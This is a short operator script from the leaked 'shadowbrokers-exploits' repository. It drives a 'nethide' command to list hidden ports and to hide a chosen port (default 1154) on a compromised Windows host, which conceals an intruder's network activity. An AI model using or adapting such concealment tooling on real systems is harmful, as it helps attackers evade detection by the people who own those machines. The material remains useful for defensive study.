shadowbrokers-exploits/windows/Resources/Ep/Scripts/nethide3.eps
2017-04-14 11:45:07 +02:00

39 lines
1.2 KiB
PostScript

# Called from simple.eps
##########################################################################################
# xx xxxxxx xx - Next iterations of changes....
#
##########################################################################################
string $portToHide="1154";
bool $showUsage=false;
if ($argc > 2) { $showUsage = true; }
if ($argc >= 2) {
if ($argv[1] == "?") { $showUsage = true; }
else { $portToHide=$argv[1]; }
}
ifnot (prompt `nethide -list`){
@echo off;
`lpsetenv -option NhStatus -value "FAILED"`;
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
echo "Note the Error, if there are no hidden ports,";
echo "it's not really an error and you can continue this script.";
echo "";
echo "If it's a privilegeRunInKernelMode error, or a ";
echo "0xffffffff error, odds are portmap will fail later.";
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
ifnot (prompt "Continue this script?"){ return false; }
}
ifnot (prompt "Do you need to hide a port?") {
return true;
}
ifnot (prompt "Do you want to hide $portToHide?") {
$portToHide=GetInput("What port do you want to hide?");
}
`nethide -hide $portToHide`;
`nethide -list`;
return true;